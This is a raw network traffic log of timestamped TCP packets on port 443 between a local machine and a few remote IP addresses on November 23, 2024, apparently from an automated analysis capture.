Nov 23, 2024 21:11:34.155266047 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.184232950 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.184276104 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.184370995 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.184386969 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.185153008 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.207710028 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.207761049 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.207828999 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.207834005 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.207865000 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.207885981 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.208511114 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.208528042 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.212778091 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.212837934 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.212902069 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.213105917 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.213121891 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.237451077 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.237487078 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.237546921 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.237875938 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.237886906 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.262531042 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.262571096 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.262617111 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.262671947 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.262712002 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.262738943 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.263195038 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.263631105 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.263664961 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.263730049 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.263921976 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.263933897 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.306859016 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.306915045 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.306974888 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.306984901 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:34.307012081 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.307033062 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.307394981 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:34.307419062 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.366692066 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.386409998 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.407625914 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.411803007 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.411814928 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.411930084 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.411952972 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.412400961 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.413168907 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.419426918 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.419614077 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.456707954 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.472063065 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.480374098 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.504122972 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.504328012 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.529026031 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.548574924 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.561736107 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.561748028 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.562261105 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.563014030 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.564090014 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.564155102 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.564625978 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.564881086 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.586303949 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.603332996 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.607332945 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.607335091 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.641765118 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.711071968 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.738791943 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.738815069 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.738904953 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.738934994 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.740549088 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.740639925 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.740709066 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.740725040 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.740755081 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.762479067 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.762608051 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.763180971 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.763305902 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.764487028 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.764498949 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.764569044 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.764575958 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:35.813015938 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:35.815184116 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.156192064 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.157735109 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.157756090 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.158874989 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.158951044 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.159277916 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.159353018 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.159449100 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.159456015 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.177849054 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.178297043 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.178324938 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.178795099 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.179183006 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.179213047 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.180237055 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.180299997 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.181839943 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.181912899 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.206351995 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.211532116 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.211922884 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.212343931 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.212465048 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.212546110 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.212577105 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.212778091 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.212790966 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.252238035 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.267050028 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.362731934 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.362761974 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.362857103 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.362864017 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.362903118 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.363800049 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.363827944 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.403790951 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.403829098 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.403870106 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.403878927 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.403906107 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.403914928 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.404036999 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.404036999 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.404053926 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.404097080 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.408359051 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.409446955 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.409729004 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.409785032 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.410376072 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.410393953 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.418162107 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.421596050 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.421665907 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.422040939 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.422049999 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.453464031 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.496223927 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.498888016 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.498944044 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.570697069 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.570712090 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.570732117 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.570786953 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.570811987 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.570827961 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.570835114 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.570852995 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.570883989 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.582729101 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.582742929 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.632416964 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.632446051 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.783523083 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:36.783570051 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:36.783639908 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:36.784029961 CET	49795	443	192.168.2.4	52.208.202.206
Nov 23, 2024 21:11:36.784043074 CET	443	49795	52.208.202.206	192.168.2.4
Nov 23, 2024 21:11:36.817332029 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.817358017 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.817365885 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.817410946 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.817445040 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.817483902 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.817498922 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.817521095 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.817543030 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.862916946 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.862988949 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.863024950 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.863044977 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.863058090 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.863069057 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.863100052 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:36.863142014 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:36.863178015 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.002496958 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.002525091 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.002564907 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.002593040 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.002607107 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.002630949 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.040178061 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.040229082 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.040294886 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.040498972 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.040513992 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.048140049 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.051505089 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.051529884 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.051651955 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.051651955 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.051680088 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.051726103 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.086891890 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.086906910 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.086965084 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.086980104 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.087016106 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.087044954 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.087060928 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.090889931 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.090959072 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.090965986 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.090991020 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.091021061 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.091043949 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.091201067 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.091213942 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.126368999 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.126419067 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.126499891 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.126526117 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.126558065 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.126570940 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.169445038 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.169466972 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.169475079 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.169523954 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.169542074 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.169553995 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.169576883 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.169612885 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.169626951 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.169656992 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.178150892 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.221249104 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.227803946 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.227838993 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.227878094 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.227905035 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.227926970 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.227946043 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.266624928 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.266660929 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.266706944 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.266736031 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.266762018 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.266781092 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.286185980 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.286215067 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.286331892 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.286361933 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.286422968 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.309075117 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.309145927 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.309211016 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.309237957 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.309279919 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.309304953 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.360980988 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.360996962 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.361041069 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.361069918 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.361124992 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.361155033 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.361171961 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.361191034 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.400974035 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.401016951 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.401067019 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.401089907 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.401103973 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.412141085 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.412255049 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.412282944 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.412307024 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.412368059 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.412581921 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.412601948 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.439042091 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.439091921 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.439176083 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.439364910 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.439380884 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.453147888 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.523231983 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.523247957 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.523287058 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.523302078 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.523369074 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.523399115 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.523418903 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.523437023 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.564630985 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.564646006 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.564666033 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.564703941 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.564738989 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.564753056 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.564778090 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.576982021 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.577056885 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.605528116 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.605547905 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.605591059 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.605616093 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.605628014 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.625705004 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.625730991 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.625787973 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.625812054 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.625829935 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.673182964 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.729243040 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.729259968 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.729299068 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.729334116 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.729367971 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.729387045 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.729410887 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.735297918 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.735411882 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.756793976 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.756838083 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.756942987 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.756968021 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.778301954 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.778327942 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.778419971 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.778419971 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:37.778440952 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:37.784399986 CET	443	49785	13.107.246.63	192.168.2.4
